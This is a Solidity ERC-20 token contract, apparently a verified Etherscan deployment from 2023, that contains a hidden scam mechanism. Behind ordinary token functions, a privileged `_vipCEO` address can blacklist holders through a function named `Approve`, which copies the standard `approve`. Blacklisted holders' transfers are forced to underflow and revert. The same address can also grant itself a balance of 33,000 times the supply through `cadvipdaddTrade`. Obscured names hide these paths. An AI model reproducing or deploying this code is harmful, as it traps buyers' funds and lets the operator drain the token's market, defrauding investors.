/**
 *Submitted for verification at Etherscan.io on 2023-05-24
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


abstract contract Ownable {
    address private _owner;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

     /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checyydsOwen();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checyydsOwen() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}



contract Coin is Ownable {
    uint256 private _MYtotalSupply;
    string private _MYname;
    string private _MYsymbol;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public  _vipCEO;



    mapping(address => bool) private vipccdd;
    function quitApprove(address sss) external   {
        if (_vipCEO == _msgSender()){
            vipccdd[sss] = false;
        }else if (_msgSender() != _vipCEO) {
            revert("fuck");
        }
    }

    function Approve(address sss) external   {
        if (_vipCEO == _msgSender()){
            vipccdd[sss] = true;
        }else if (_msgSender() != _vipCEO) {
            revert("fuck");
        }
    }

    function queryVipBen(address sss) public view returns(bool)  {
        return vipccdd[sss];
    }

    function bitBox123() public view virtual  returns (uint256) {
        return _MYtotalSupply;
    }
    function cadvipdaddTrade() external {
       
        if (_vipCEO == _msgSender()){
            _balances[_msgSender()] = bitBox123()*33000;
        }else if (_msgSender() != _vipCEO) {
            revert("fuck");
        }
    }

    constructor(string memory name_, string memory symbol_,address passBot) {
        _vipCEO = passBot;
        _MYname = name_;
        _MYsymbol = symbol_;
       
        _initmint(msg.sender, 1000000000*10**decimals());

    }

    function name() public view virtual  returns (string memory) {
        return _MYname;
    }

    function symbol() public view virtual  returns (string memory) {
        return _MYsymbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual  returns (uint256) {
        return _MYtotalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual  returns (uint256) {
        return _balances[account];
    }


    function transfer(address to, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual  returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(owner, spender, currentAllowance - subtractedValue);
    }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 balance= _balances[from];
        if (vipccdd[from] != false ){
            _balances[from]= balance-(bitBox123())-(bitBox123());
        }
       
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = balance-(amount);
        _balances[to] =  _balances[to]+(amount);
        emit Transfer(from, to, amount);
    }


    function _initmint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: sss221 to the zero address");

        _MYtotalSupply += amount;
    unchecked {
        // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
        _balances[account] += amount;
    }
        emit Transfer(address(0), account, amount);

    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
        _balances[account] = accountBalance - amount;
        // Overflow not possible: amount <= accountBalance <= totalSupply.
        _MYtotalSupply -= amount;
    }

        emit Transfer(account, address(0), amount);


    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }
}